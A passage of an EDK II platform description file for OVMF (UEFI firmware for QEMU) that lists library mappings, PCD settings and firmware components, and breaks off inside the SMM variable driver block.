QemuFwCfgS3Lib|OvmfPkg/Library/QemuFwCfgS3Lib/DxeQemuFwCfgS3LibFwCfg.inf
[LibraryClasses.common.UEFI_DRIVER]
PcdLib|MdePkg/Library/DxePcdLib/DxePcdLib.inf
TimerLib|OvmfPkg/Library/AcpiTimerLib/DxeAcpiTimerLib.inf
HobLib|MdePkg/Library/DxeHobLib/DxeHobLib.inf
DxeCoreEntryPoint|MdePkg/Library/DxeCoreEntryPoint/DxeCoreEntryPoint.inf
MemoryAllocationLib|MdePkg/Library/UefiMemoryAllocationLib/UefiMemoryAllocationLib.inf
ReportStatusCodeLib|MdeModulePkg/Library/DxeReportStatusCodeLib/DxeReportStatusCodeLib.inf
!ifdef $(DEBUG_ON_SERIAL_PORT)
DebugLib|MdePkg/Library/BaseDebugLibSerialPort/BaseDebugLibSerialPort.inf
!else
DebugLib|OvmfPkg/Library/PlatformDebugLibIoPort/PlatformDebugLibIoPort.inf
!endif
UefiScsiLib|MdePkg/Library/UefiScsiLib/UefiScsiLib.inf
PciLib|OvmfPkg/Library/DxePciLibI440FxQ35/DxePciLibI440FxQ35.inf
[LibraryClasses.common.DXE_DRIVER]
PcdLib|MdePkg/Library/DxePcdLib/DxePcdLib.inf
TimerLib|OvmfPkg/Library/AcpiTimerLib/DxeAcpiTimerLib.inf
HobLib|MdePkg/Library/DxeHobLib/DxeHobLib.inf
MemoryAllocationLib|MdePkg/Library/UefiMemoryAllocationLib/UefiMemoryAllocationLib.inf
ReportStatusCodeLib|MdeModulePkg/Library/DxeReportStatusCodeLib/DxeReportStatusCodeLib.inf
UefiScsiLib|MdePkg/Library/UefiScsiLib/UefiScsiLib.inf
!ifdef $(DEBUG_ON_SERIAL_PORT)
DebugLib|MdePkg/Library/BaseDebugLibSerialPort/BaseDebugLibSerialPort.inf
!else
DebugLib|OvmfPkg/Library/PlatformDebugLibIoPort/PlatformDebugLibIoPort.inf
!endif
NetLib|MdeModulePkg/Library/DxeNetLib/DxeNetLib.inf
IpIoLib|MdeModulePkg/Library/DxeIpIoLib/DxeIpIoLib.inf
UdpIoLib|MdeModulePkg/Library/DxeUdpIoLib/DxeUdpIoLib.inf
DpcLib|MdeModulePkg/Library/DxeDpcLib/DxeDpcLib.inf
PlatformBootManagerLib|OvmfPkg/Library/PlatformBootManagerLib/PlatformBootManagerLib.inf
QemuBootOrderLib|OvmfPkg/Library/QemuBootOrderLib/QemuBootOrderLib.inf
CpuExceptionHandlerLib|UefiCpuPkg/Library/CpuExceptionHandlerLib/DxeCpuExceptionHandlerLib.inf
!if $(SMM_REQUIRE) == TRUE
LockBoxLib|MdeModulePkg/Library/SmmLockBoxLib/SmmLockBoxDxeLib.inf
!else
LockBoxLib|OvmfPkg/Library/LockBoxLib/LockBoxDxeLib.inf
!endif
!ifdef $(SOURCE_DEBUG_ENABLE)
DebugAgentLib|SourceLevelDebugPkg/Library/DebugAgent/DxeDebugAgentLib.inf
!endif
PciLib|OvmfPkg/Library/DxePciLibI440FxQ35/DxePciLibI440FxQ35.inf
MpInitLib|UefiCpuPkg/Library/MpInitLib/DxeMpInitLib.inf
QemuFwCfgS3Lib|OvmfPkg/Library/QemuFwCfgS3Lib/DxeQemuFwCfgS3LibFwCfg.inf
[LibraryClasses.common.UEFI_APPLICATION]
PcdLib|MdePkg/Library/DxePcdLib/DxePcdLib.inf
TimerLib|OvmfPkg/Library/AcpiTimerLib/DxeAcpiTimerLib.inf
HobLib|MdePkg/Library/DxeHobLib/DxeHobLib.inf
MemoryAllocationLib|MdePkg/Library/UefiMemoryAllocationLib/UefiMemoryAllocationLib.inf
ReportStatusCodeLib|MdeModulePkg/Library/DxeReportStatusCodeLib/DxeReportStatusCodeLib.inf
!ifdef $(DEBUG_ON_SERIAL_PORT)
DebugLib|MdePkg/Library/BaseDebugLibSerialPort/BaseDebugLibSerialPort.inf
!else
DebugLib|OvmfPkg/Library/PlatformDebugLibIoPort/PlatformDebugLibIoPort.inf
!endif
PciLib|OvmfPkg/Library/DxePciLibI440FxQ35/DxePciLibI440FxQ35.inf
[LibraryClasses.common.DXE_SMM_DRIVER]
PcdLib|MdePkg/Library/DxePcdLib/DxePcdLib.inf
TimerLib|OvmfPkg/Library/AcpiTimerLib/DxeAcpiTimerLib.inf
MemoryAllocationLib|MdePkg/Library/SmmMemoryAllocationLib/SmmMemoryAllocationLib.inf
ReportStatusCodeLib|MdeModulePkg/Library/DxeReportStatusCodeLib/DxeReportStatusCodeLib.inf
HobLib|MdePkg/Library/DxeHobLib/DxeHobLib.inf
SmmMemLib|MdePkg/Library/SmmMemLib/SmmMemLib.inf
SmmServicesTableLib|MdePkg/Library/SmmServicesTableLib/SmmServicesTableLib.inf
!ifdef $(DEBUG_ON_SERIAL_PORT)
DebugLib|MdePkg/Library/BaseDebugLibSerialPort/BaseDebugLibSerialPort.inf
!else
DebugLib|OvmfPkg/Library/PlatformDebugLibIoPort/PlatformDebugLibIoPort.inf
!endif
CpuExceptionHandlerLib|UefiCpuPkg/Library/CpuExceptionHandlerLib/SmmCpuExceptionHandlerLib.inf
!ifdef $(SOURCE_DEBUG_ENABLE)
DebugAgentLib|SourceLevelDebugPkg/Library/DebugAgent/SmmDebugAgentLib.inf
!endif
BaseCryptLib|CryptoPkg/Library/BaseCryptLib/SmmCryptLib.inf
PciLib|OvmfPkg/Library/DxePciLibI440FxQ35/DxePciLibI440FxQ35.inf
[LibraryClasses.common.SMM_CORE]
PcdLib|MdePkg/Library/DxePcdLib/DxePcdLib.inf
TimerLib|OvmfPkg/Library/AcpiTimerLib/DxeAcpiTimerLib.inf
SmmCorePlatformHookLib|MdeModulePkg/Library/SmmCorePlatformHookLibNull/SmmCorePlatformHookLibNull.inf
MemoryAllocationLib|MdeModulePkg/Library/PiSmmCoreMemoryAllocationLib/PiSmmCoreMemoryAllocationLib.inf
ReportStatusCodeLib|MdeModulePkg/Library/DxeReportStatusCodeLib/DxeReportStatusCodeLib.inf
HobLib|MdePkg/Library/DxeHobLib/DxeHobLib.inf
SmmMemLib|MdePkg/Library/SmmMemLib/SmmMemLib.inf
SmmServicesTableLib|MdeModulePkg/Library/PiSmmCoreSmmServicesTableLib/PiSmmCoreSmmServicesTableLib.inf
!ifdef $(DEBUG_ON_SERIAL_PORT)
DebugLib|MdePkg/Library/BaseDebugLibSerialPort/BaseDebugLibSerialPort.inf
!else
DebugLib|OvmfPkg/Library/PlatformDebugLibIoPort/PlatformDebugLibIoPort.inf
!endif
PciLib|OvmfPkg/Library/DxePciLibI440FxQ35/DxePciLibI440FxQ35.inf
################################################################################
#
# Pcd Section - list of all EDK II PCD Entries defined by this Platform.
#
################################################################################
[PcdsFeatureFlag]
gEfiMdeModulePkgTokenSpaceGuid.PcdHiiOsRuntimeSupport|FALSE
gEfiMdeModulePkgTokenSpaceGuid.PcdStatusCodeUseSerial|FALSE
gEfiMdeModulePkgTokenSpaceGuid.PcdStatusCodeUseMemory|TRUE
gEfiMdeModulePkgTokenSpaceGuid.PcdDxeIplSupportUefiDecompress|FALSE
gEfiMdeModulePkgTokenSpaceGuid.PcdDxeIplSwitchToLongMode|FALSE
gEfiMdeModulePkgTokenSpaceGuid.PcdConOutGopSupport|TRUE
gEfiMdeModulePkgTokenSpaceGuid.PcdConOutUgaSupport|FALSE
gEfiMdeModulePkgTokenSpaceGuid.PcdInstallAcpiSdtProtocol|TRUE
!if $(SMM_REQUIRE) == TRUE
gUefiOvmfPkgTokenSpaceGuid.PcdSmmSmramRequire|TRUE
gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmEnableBspElection|FALSE
!endif
[PcdsFixedAtBuild]
gEfiMdeModulePkgTokenSpaceGuid.PcdStatusCodeMemorySize|1
gEfiMdeModulePkgTokenSpaceGuid.PcdResetOnMemoryTypeInformationChange|FALSE
gEfiMdePkgTokenSpaceGuid.PcdMaximumGuidedExtractHandler|0x10
gEfiMdeModulePkgTokenSpaceGuid.PcdPeiCoreMaxFvSupported|6
gEfiMdeModulePkgTokenSpaceGuid.PcdPeiCoreMaxPeimPerFv|32
!if ($(FD_SIZE_IN_KB) == 1024) || ($(FD_SIZE_IN_KB) == 2048)
gEfiMdeModulePkgTokenSpaceGuid.PcdMaxVariableSize|0x2000
gEfiMdeModulePkgTokenSpaceGuid.PcdMaxAuthVariableSize|0x2800
gEfiMdeModulePkgTokenSpaceGuid.PcdVariableStoreSize|0xe000
!endif
!if $(FD_SIZE_IN_KB) == 4096
gEfiMdeModulePkgTokenSpaceGuid.PcdMaxVariableSize|0x8400
gEfiMdeModulePkgTokenSpaceGuid.PcdMaxAuthVariableSize|0x8400
gEfiMdeModulePkgTokenSpaceGuid.PcdVariableStoreSize|0x40000
!endif
gEfiMdeModulePkgTokenSpaceGuid.PcdVpdBaseAddress|0x0
gEfiMdePkgTokenSpaceGuid.PcdReportStatusCodePropertyMask|0x07
# DEBUG_INIT 0x00000001 // Initialization
# DEBUG_WARN 0x00000002 // Warnings
# DEBUG_LOAD 0x00000004 // Load events
# DEBUG_FS 0x00000008 // EFI File system
# DEBUG_POOL 0x00000010 // Alloc & Free (pool)
# DEBUG_PAGE 0x00000020 // Alloc & Free (page)
# DEBUG_INFO 0x00000040 // Informational debug messages
# DEBUG_DISPATCH 0x00000080 // PEI/DXE/SMM Dispatchers
# DEBUG_VARIABLE 0x00000100 // Variable
# DEBUG_BM 0x00000400 // Boot Manager
# DEBUG_BLKIO 0x00001000 // BlkIo Driver
# DEBUG_NET 0x00004000 // SNP Driver
# DEBUG_UNDI 0x00010000 // UNDI Driver
# DEBUG_LOADFILE 0x00020000 // LoadFile
# DEBUG_EVENT 0x00080000 // Event messages
# DEBUG_GCD 0x00100000 // Global Coherency Database changes
# DEBUG_CACHE 0x00200000 // Memory range cachability changes
# DEBUG_VERBOSE 0x00400000 // Detailed debug messages that may
# // significantly impact boot performance
# DEBUG_ERROR 0x80000000 // Error
gEfiMdePkgTokenSpaceGuid.PcdDebugPrintErrorLevel|0x8000004F
!ifdef $(SOURCE_DEBUG_ENABLE)
gEfiMdePkgTokenSpaceGuid.PcdDebugPropertyMask|0x17
!else
gEfiMdePkgTokenSpaceGuid.PcdDebugPropertyMask|0x2F
!endif
# This PCD is used to set the base address of the PCI express hierarchy. It
# is only consulted when OVMF runs on Q35. In that case it is programmed into
# the PCIEXBAR register.
#
# On Q35 machine types that QEMU intends to support in the long term, QEMU
# never lets the RAM below 4 GB exceed 2 GB.
gEfiMdePkgTokenSpaceGuid.PcdPciExpressBaseAddress|0x80000000
!ifdef $(SOURCE_DEBUG_ENABLE)
gEfiSourceLevelDebugPkgTokenSpaceGuid.PcdDebugLoadImageMethod|0x2
!endif
!if $(HTTP_BOOT_ENABLE) == TRUE
gEfiNetworkPkgTokenSpaceGuid.PcdAllowHttpConnections|TRUE
!endif
!ifndef $(USE_OLD_SHELL)
gEfiIntelFrameworkModulePkgTokenSpaceGuid.PcdShellFile|{ 0x83, 0xA5, 0x04, 0x7C, 0x3E, 0x9E, 0x1C, 0x4F, 0xAD, 0x65, 0xE0, 0x52, 0x68, 0xD0, 0xB4, 0xD1 }
!endif
!if $(SMM_REQUIRE) == TRUE
gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmStackSize|0x4000
!endif
# IRQs 5, 9, 10, 11 are level-triggered
gPcAtChipsetPkgTokenSpaceGuid.Pcd8259LegacyModeEdgeLevel|0x0E20
# Point to the MdeModulePkg/Application/UiApp/UiApp.inf
gEfiMdeModulePkgTokenSpaceGuid.PcdBootManagerMenuFile|{ 0x21, 0xaa, 0x2c, 0x46, 0x14, 0x76, 0x03, 0x45, 0x83, 0x6e, 0x8a, 0xb6, 0xf4, 0x66, 0x23, 0x31 }
################################################################################
#
# Pcd Dynamic Section - list of all EDK II PCD Entries defined by this Platform
#
################################################################################
[PcdsDynamicDefault]
# only set when
# ($(SMM_REQUIRE) == FALSE)
gEfiMdeModulePkgTokenSpaceGuid.PcdEmuVariableNvStoreReserved|0
gEfiMdeModulePkgTokenSpaceGuid.PcdFlashNvStorageVariableBase64|0
gEfiMdeModulePkgTokenSpaceGuid.PcdFlashNvStorageFtwWorkingBase|0
gEfiMdeModulePkgTokenSpaceGuid.PcdFlashNvStorageFtwSpareBase|0
gEfiMdeModulePkgTokenSpaceGuid.PcdPciDisableBusEnumeration|FALSE
gEfiMdeModulePkgTokenSpaceGuid.PcdVideoHorizontalResolution|800
gEfiMdeModulePkgTokenSpaceGuid.PcdVideoVerticalResolution|600
gEfiMdeModulePkgTokenSpaceGuid.PcdAcpiS3Enable|FALSE
gUefiOvmfPkgTokenSpaceGuid.PcdOvmfHostBridgePciDevId|0
gUefiOvmfPkgTokenSpaceGuid.PcdPciIoBase|0x0
gUefiOvmfPkgTokenSpaceGuid.PcdPciIoSize|0x0
gUefiOvmfPkgTokenSpaceGuid.PcdPciMmio32Base|0x0
gUefiOvmfPkgTokenSpaceGuid.PcdPciMmio32Size|0x0
gUefiOvmfPkgTokenSpaceGuid.PcdPciMmio64Base|0x0
gUefiOvmfPkgTokenSpaceGuid.PcdPciMmio64Size|0x800000000
gEfiMdePkgTokenSpaceGuid.PcdPlatformBootTimeOut|0
# Set video resolution for text setup.
gEfiMdeModulePkgTokenSpaceGuid.PcdSetupVideoHorizontalResolution|640
gEfiMdeModulePkgTokenSpaceGuid.PcdSetupVideoVerticalResolution|480
gEfiMdeModulePkgTokenSpaceGuid.PcdSmbiosVersion|0x0208
gEfiMdeModulePkgTokenSpaceGuid.PcdSmbiosDocRev|0x0
gUefiOvmfPkgTokenSpaceGuid.PcdQemuSmbiosValidated|FALSE
# Noexec settings for DXE.
gEfiMdeModulePkgTokenSpaceGuid.PcdSetNxForStack|FALSE
gEfiMdeModulePkgTokenSpaceGuid.PcdPropertiesTableEnable|FALSE
# UefiCpuPkg PCDs related to initial AP bringup and general AP management.
gUefiCpuPkgTokenSpaceGuid.PcdCpuMaxLogicalProcessorNumber|64
gUefiCpuPkgTokenSpaceGuid.PcdCpuApInitTimeOutInMicroSeconds|50000
# Set memory encryption mask
gEfiMdeModulePkgTokenSpaceGuid.PcdPteMemoryEncryptionAddressOrMask|0x0
!if $(SMM_REQUIRE) == TRUE
gUefiOvmfPkgTokenSpaceGuid.PcdQ35TsegMbytes|8
gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmSyncMode|0x01
gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmApSyncTimeout|100000
!endif
gEfiSecurityPkgTokenSpaceGuid.PcdOptionRomImageVerificationPolicy|0x00
################################################################################
#
# Components Section - list of all EDK II Modules needed by this Platform.
#
################################################################################
[Components]
OvmfPkg/ResetVector/ResetVector.inf
#
# SEC Phase modules
#
OvmfPkg/Sec/SecMain.inf {
<LibraryClasses>
NULL|MdeModulePkg/Library/LzmaCustomDecompressLib/LzmaCustomDecompressLib.inf
}
#
# PEI Phase modules
#
MdeModulePkg/Core/Pei/PeiMain.inf
MdeModulePkg/Universal/PCD/Pei/Pcd.inf {
<LibraryClasses>
PcdLib|MdePkg/Library/BasePcdLibNull/BasePcdLibNull.inf
}
MdeModulePkg/Universal/ReportStatusCodeRouter/Pei/ReportStatusCodeRouterPei.inf {
<LibraryClasses>
PcdLib|MdePkg/Library/BasePcdLibNull/BasePcdLibNull.inf
}
MdeModulePkg/Universal/StatusCodeHandler/Pei/StatusCodeHandlerPei.inf {
<LibraryClasses>
PcdLib|MdePkg/Library/BasePcdLibNull/BasePcdLibNull.inf
}
MdeModulePkg/Core/DxeIplPeim/DxeIpl.inf
OvmfPkg/PlatformPei/PlatformPei.inf
UefiCpuPkg/Universal/Acpi/S3Resume2Pei/S3Resume2Pei.inf {
<LibraryClasses>
!if $(SMM_REQUIRE) == TRUE
LockBoxLib|MdeModulePkg/Library/SmmLockBoxLib/SmmLockBoxPeiLib.inf
!endif
}
!if $(SMM_REQUIRE) == TRUE
OvmfPkg/SmmAccess/SmmAccessPei.inf
!endif
UefiCpuPkg/CpuMpPei/CpuMpPei.inf
#
# DXE Phase modules
#
MdeModulePkg/Core/Dxe/DxeMain.inf {
<LibraryClasses>
NULL|MdeModulePkg/Library/LzmaCustomDecompressLib/LzmaCustomDecompressLib.inf
DevicePathLib|MdePkg/Library/UefiDevicePathLib/UefiDevicePathLib.inf
}
MdeModulePkg/Universal/ReportStatusCodeRouter/RuntimeDxe/ReportStatusCodeRouterRuntimeDxe.inf
MdeModulePkg/Universal/StatusCodeHandler/RuntimeDxe/StatusCodeHandlerRuntimeDxe.inf
MdeModulePkg/Universal/PCD/Dxe/Pcd.inf {
<LibraryClasses>
PcdLib|MdePkg/Library/BasePcdLibNull/BasePcdLibNull.inf
}
MdeModulePkg/Core/RuntimeDxe/RuntimeDxe.inf
!if $(SECURE_BOOT_ENABLE) == TRUE
MdeModulePkg/Universal/SecurityStubDxe/SecurityStubDxe.inf {
<LibraryClasses>
NULL|SecurityPkg/Library/DxeImageVerificationLib/DxeImageVerificationLib.inf
}
!else
MdeModulePkg/Universal/SecurityStubDxe/SecurityStubDxe.inf
!endif
MdeModulePkg/Universal/EbcDxe/EbcDxe.inf
PcAtChipsetPkg/8259InterruptControllerDxe/8259.inf
UefiCpuPkg/CpuIo2Dxe/CpuIo2Dxe.inf
UefiCpuPkg/CpuDxe/CpuDxe.inf
PcAtChipsetPkg/8254TimerDxe/8254Timer.inf
OvmfPkg/IncompatiblePciDeviceSupportDxe/IncompatiblePciDeviceSupport.inf
OvmfPkg/PciHotPlugInitDxe/PciHotPlugInit.inf
MdeModulePkg/Bus/Pci/PciHostBridgeDxe/PciHostBridgeDxe.inf {
<LibraryClasses>
PciHostBridgeLib|OvmfPkg/Library/PciHostBridgeLib/PciHostBridgeLib.inf
NULL|OvmfPkg/Library/PlatformHasIoMmuLib/PlatformHasIoMmuLib.inf
}
MdeModulePkg/Bus/Pci/PciBusDxe/PciBusDxe.inf {
<LibraryClasses>
PcdLib|MdePkg/Library/DxePcdLib/DxePcdLib.inf
}
MdeModulePkg/Universal/ResetSystemRuntimeDxe/ResetSystemRuntimeDxe.inf
MdeModulePkg/Universal/Metronome/Metronome.inf
PcAtChipsetPkg/PcatRealTimeClockRuntimeDxe/PcatRealTimeClockRuntimeDxe.inf
MdeModulePkg/Universal/DriverHealthManagerDxe/DriverHealthManagerDxe.inf
MdeModulePkg/Universal/BdsDxe/BdsDxe.inf {
<LibraryClasses>
!ifdef $(CSM_ENABLE)
NULL|OvmfPkg/Csm/CsmSupportLib/CsmSupportLib.inf
NULL|IntelFrameworkModulePkg/Library/LegacyBootManagerLib/LegacyBootManagerLib.inf
!endif
}
MdeModulePkg/Logo/LogoDxe.inf
MdeModulePkg/Application/UiApp/UiApp.inf {
<LibraryClasses>
NULL|MdeModulePkg/Library/DeviceManagerUiLib/DeviceManagerUiLib.inf
NULL|MdeModulePkg/Library/BootManagerUiLib/BootManagerUiLib.inf
NULL|MdeModulePkg/Library/BootMaintenanceManagerUiLib/BootMaintenanceManagerUiLib.inf
!ifdef $(CSM_ENABLE)
NULL|IntelFrameworkModulePkg/Library/LegacyBootManagerLib/LegacyBootManagerLib.inf
NULL|IntelFrameworkModulePkg/Library/LegacyBootMaintUiLib/LegacyBootMaintUiLib.inf
!endif
}
OvmfPkg/BlockMmioToBlockIoDxe/BlockIo.inf
OvmfPkg/VirtioPciDeviceDxe/VirtioPciDeviceDxe.inf
OvmfPkg/Virtio10Dxe/Virtio10.inf
OvmfPkg/VirtioBlkDxe/VirtioBlk.inf
OvmfPkg/VirtioScsiDxe/VirtioScsi.inf
OvmfPkg/VirtioRngDxe/VirtioRng.inf
OvmfPkg/XenIoPciDxe/XenIoPciDxe.inf
OvmfPkg/XenBusDxe/XenBusDxe.inf
OvmfPkg/XenPvBlkDxe/XenPvBlkDxe.inf
MdeModulePkg/Universal/WatchdogTimerDxe/WatchdogTimer.inf
MdeModulePkg/Universal/MonotonicCounterRuntimeDxe/MonotonicCounterRuntimeDxe.inf
MdeModulePkg/Universal/CapsuleRuntimeDxe/CapsuleRuntimeDxe.inf
MdeModulePkg/Universal/Console/ConPlatformDxe/ConPlatformDxe.inf
MdeModulePkg/Universal/Console/ConSplitterDxe/ConSplitterDxe.inf
MdeModulePkg/Universal/Console/GraphicsConsoleDxe/GraphicsConsoleDxe.inf {
<LibraryClasses>
PcdLib|MdePkg/Library/DxePcdLib/DxePcdLib.inf
}
MdeModulePkg/Universal/Console/TerminalDxe/TerminalDxe.inf
MdeModulePkg/Universal/DevicePathDxe/DevicePathDxe.inf {
<LibraryClasses>
DevicePathLib|MdePkg/Library/UefiDevicePathLib/UefiDevicePathLib.inf
PcdLib|MdePkg/Library/BasePcdLibNull/BasePcdLibNull.inf
}
MdeModulePkg/Universal/PrintDxe/PrintDxe.inf
MdeModulePkg/Universal/Disk/DiskIoDxe/DiskIoDxe.inf
MdeModulePkg/Universal/Disk/PartitionDxe/PartitionDxe.inf
MdeModulePkg/Universal/Disk/RamDiskDxe/RamDiskDxe.inf
MdeModulePkg/Universal/Disk/UnicodeCollation/EnglishDxe/EnglishDxe.inf
FatPkg/EnhancedFatDxe/Fat.inf
MdeModulePkg/Bus/Scsi/ScsiBusDxe/ScsiBusDxe.inf
MdeModulePkg/Bus/Scsi/ScsiDiskDxe/ScsiDiskDxe.inf
OvmfPkg/SataControllerDxe/SataControllerDxe.inf
MdeModulePkg/Bus/Ata/AtaAtapiPassThru/AtaAtapiPassThru.inf
MdeModulePkg/Bus/Ata/AtaBusDxe/AtaBusDxe.inf
MdeModulePkg/Bus/Pci/NvmExpressDxe/NvmExpressDxe.inf
MdeModulePkg/Universal/HiiDatabaseDxe/HiiDatabaseDxe.inf
MdeModulePkg/Universal/SetupBrowserDxe/SetupBrowserDxe.inf
MdeModulePkg/Universal/DisplayEngineDxe/DisplayEngineDxe.inf
MdeModulePkg/Universal/MemoryTest/NullMemoryTestDxe/NullMemoryTestDxe.inf
OvmfPkg/QemuVideoDxe/QemuVideoDxe.inf
OvmfPkg/VirtioGpuDxe/VirtioGpu.inf
#
# ISA Support
#
PcAtChipsetPkg/IsaAcpiDxe/IsaAcpi.inf
IntelFrameworkModulePkg/Bus/Isa/IsaBusDxe/IsaBusDxe.inf
IntelFrameworkModulePkg/Bus/Isa/IsaSerialDxe/IsaSerialDxe.inf
IntelFrameworkModulePkg/Bus/Isa/Ps2KeyboardDxe/Ps2keyboardDxe.inf
IntelFrameworkModulePkg/Bus/Isa/IsaFloppyDxe/IsaFloppyDxe.inf
#
# SMBIOS Support
#
MdeModulePkg/Universal/SmbiosDxe/SmbiosDxe.inf {
<LibraryClasses>
NULL|OvmfPkg/Library/SmbiosVersionLib/DetectSmbiosVersionLib.inf
}
OvmfPkg/SmbiosPlatformDxe/SmbiosPlatformDxe.inf
#
# ACPI Support
#
MdeModulePkg/Universal/Acpi/AcpiTableDxe/AcpiTableDxe.inf
OvmfPkg/AcpiPlatformDxe/AcpiPlatformDxe.inf
OvmfPkg/AcpiTables/AcpiTables.inf
MdeModulePkg/Universal/Acpi/S3SaveStateDxe/S3SaveStateDxe.inf
MdeModulePkg/Universal/Acpi/BootScriptExecutorDxe/BootScriptExecutorDxe.inf
MdeModulePkg/Universal/Acpi/BootGraphicsResourceTableDxe/BootGraphicsResourceTableDxe.inf
#
# Network Support
#
MdeModulePkg/Universal/Network/SnpDxe/SnpDxe.inf
MdeModulePkg/Universal/Network/DpcDxe/DpcDxe.inf
MdeModulePkg/Universal/Network/MnpDxe/MnpDxe.inf
MdeModulePkg/Universal/Network/VlanConfigDxe/VlanConfigDxe.inf
MdeModulePkg/Universal/Network/ArpDxe/ArpDxe.inf
MdeModulePkg/Universal/Network/Dhcp4Dxe/Dhcp4Dxe.inf
MdeModulePkg/Universal/Network/Ip4Dxe/Ip4Dxe.inf
MdeModulePkg/Universal/Network/Mtftp4Dxe/Mtftp4Dxe.inf
MdeModulePkg/Universal/Network/Udp4Dxe/Udp4Dxe.inf
!if $(NETWORK_IP6_ENABLE) == TRUE
NetworkPkg/Ip6Dxe/Ip6Dxe.inf
NetworkPkg/TcpDxe/TcpDxe.inf
NetworkPkg/Udp6Dxe/Udp6Dxe.inf
NetworkPkg/Dhcp6Dxe/Dhcp6Dxe.inf
NetworkPkg/Mtftp6Dxe/Mtftp6Dxe.inf
NetworkPkg/UefiPxeBcDxe/UefiPxeBcDxe.inf
NetworkPkg/IScsiDxe/IScsiDxe.inf
!else
MdeModulePkg/Universal/Network/Tcp4Dxe/Tcp4Dxe.inf
MdeModulePkg/Universal/Network/UefiPxeBcDxe/UefiPxeBcDxe.inf
MdeModulePkg/Universal/Network/IScsiDxe/IScsiDxe.inf
!endif
!if $(HTTP_BOOT_ENABLE) == TRUE
NetworkPkg/DnsDxe/DnsDxe.inf
NetworkPkg/HttpUtilitiesDxe/HttpUtilitiesDxe.inf
NetworkPkg/HttpDxe/HttpDxe.inf
NetworkPkg/HttpBootDxe/HttpBootDxe.inf
!endif
!if $(TLS_ENABLE) == TRUE
NetworkPkg/TlsDxe/TlsDxe.inf
NetworkPkg/TlsAuthConfigDxe/TlsAuthConfigDxe.inf
!endif
OvmfPkg/VirtioNetDxe/VirtioNet.inf
#
# Usb Support
#
MdeModulePkg/Bus/Pci/UhciDxe/UhciDxe.inf
MdeModulePkg/Bus/Pci/EhciDxe/EhciDxe.inf
MdeModulePkg/Bus/Pci/XhciDxe/XhciDxe.inf
MdeModulePkg/Bus/Usb/UsbBusDxe/UsbBusDxe.inf
MdeModulePkg/Bus/Usb/UsbKbDxe/UsbKbDxe.inf
MdeModulePkg/Bus/Usb/UsbMassStorageDxe/UsbMassStorageDxe.inf
!ifdef $(CSM_ENABLE)
IntelFrameworkModulePkg/Csm/BiosThunk/VideoDxe/VideoDxe.inf {
<LibraryClasses>
PcdLib|MdePkg/Library/DxePcdLib/DxePcdLib.inf
}
IntelFrameworkModulePkg/Csm/LegacyBiosDxe/LegacyBiosDxe.inf
OvmfPkg/Csm/Csm16/Csm16.inf
!endif
!ifndef $(USE_OLD_SHELL)
ShellPkg/DynamicCommand/TftpDynamicCommand/TftpDynamicCommand.inf {
<PcdsFixedAtBuild>
gEfiShellPkgTokenSpaceGuid.PcdShellLibAutoInitialize|FALSE
}
ShellPkg/Application/Shell/Shell.inf {
<LibraryClasses>
ShellCommandLib|ShellPkg/Library/UefiShellCommandLib/UefiShellCommandLib.inf
NULL|ShellPkg/Library/UefiShellLevel2CommandsLib/UefiShellLevel2CommandsLib.inf
NULL|ShellPkg/Library/UefiShellLevel1CommandsLib/UefiShellLevel1CommandsLib.inf
NULL|ShellPkg/Library/UefiShellLevel3CommandsLib/UefiShellLevel3CommandsLib.inf
NULL|ShellPkg/Library/UefiShellDriver1CommandsLib/UefiShellDriver1CommandsLib.inf
NULL|ShellPkg/Library/UefiShellDebug1CommandsLib/UefiShellDebug1CommandsLib.inf
NULL|ShellPkg/Library/UefiShellInstall1CommandsLib/UefiShellInstall1CommandsLib.inf
NULL|ShellPkg/Library/UefiShellNetwork1CommandsLib/UefiShellNetwork1CommandsLib.inf
!if $(NETWORK_IP6_ENABLE) == TRUE
NULL|ShellPkg/Library/UefiShellNetwork2CommandsLib/UefiShellNetwork2CommandsLib.inf
!endif
HandleParsingLib|ShellPkg/Library/UefiHandleParsingLib/UefiHandleParsingLib.inf
PrintLib|MdePkg/Library/BasePrintLib/BasePrintLib.inf
# SafeBlockIoLib|ShellPkg/Library/SafeBlockIoLib/SafeBlockIoLib.inf
# SafeOpenProtocolLib|ShellPkg/Library/SafeOpenProtocolLib/SafeOpenProtocolLib.inf
BcfgCommandLib|ShellPkg/Library/UefiShellBcfgCommandLib/UefiShellBcfgCommandLib.inf
<PcdsFixedAtBuild>
gEfiMdePkgTokenSpaceGuid.PcdDebugPropertyMask|0xFF
gEfiShellPkgTokenSpaceGuid.PcdShellLibAutoInitialize|FALSE
gEfiMdePkgTokenSpaceGuid.PcdUefiLibMaxPrintBufferSize|8000
}
!endif
!if $(SECURE_BOOT_ENABLE) == TRUE
SecurityPkg/VariableAuthenticated/SecureBootConfigDxe/SecureBootConfigDxe.inf
!endif
OvmfPkg/PlatformDxe/Platform.inf
OvmfPkg/AmdSevDxe/AmdSevDxe.inf
OvmfPkg/IoMmuDxe/IoMmuDxe.inf
!if $(SMM_REQUIRE) == TRUE
OvmfPkg/SmmAccess/SmmAccess2Dxe.inf
OvmfPkg/SmmControl2Dxe/SmmControl2Dxe.inf
UefiCpuPkg/CpuS3DataDxe/CpuS3DataDxe.inf
#
# SMM Initial Program Load (a DXE_RUNTIME_DRIVER)
#
MdeModulePkg/Core/PiSmmCore/PiSmmIpl.inf
#
# SMM_CORE
#
MdeModulePkg/Core/PiSmmCore/PiSmmCore.inf
#
# Privileged drivers (DXE_SMM_DRIVER modules)
#
UefiCpuPkg/CpuIo2Smm/CpuIo2Smm.inf
MdeModulePkg/Universal/LockBox/SmmLockBox/SmmLockBox.inf {
<LibraryClasses>
LockBoxLib|MdeModulePkg/Library/SmmLockBoxLib/SmmLockBoxSmmLib.inf
}
UefiCpuPkg/PiSmmCpuDxeSmm/PiSmmCpuDxeSmm.inf {
<LibraryClasses>
SmmCpuPlatformHookLib|UefiCpuPkg/Library/SmmCpuPlatformHookLibNull/SmmCpuPlatformHookLibNull.inf
SmmCpuFeaturesLib|OvmfPkg/Library/SmmCpuFeaturesLib/SmmCpuFeaturesLib.inf
}
#
# Variable driver stack (SMM)
#
OvmfPkg/QemuFlashFvbServicesRuntimeDxe/FvbServicesSmm.inf
MdeModulePkg/Universal/FaultTolerantWriteDxe/FaultTolerantWriteSmm.inf
MdeModulePkg/Universal/Variable/RuntimeDxe/VariableSmm.inf {
<LibraryClasses>
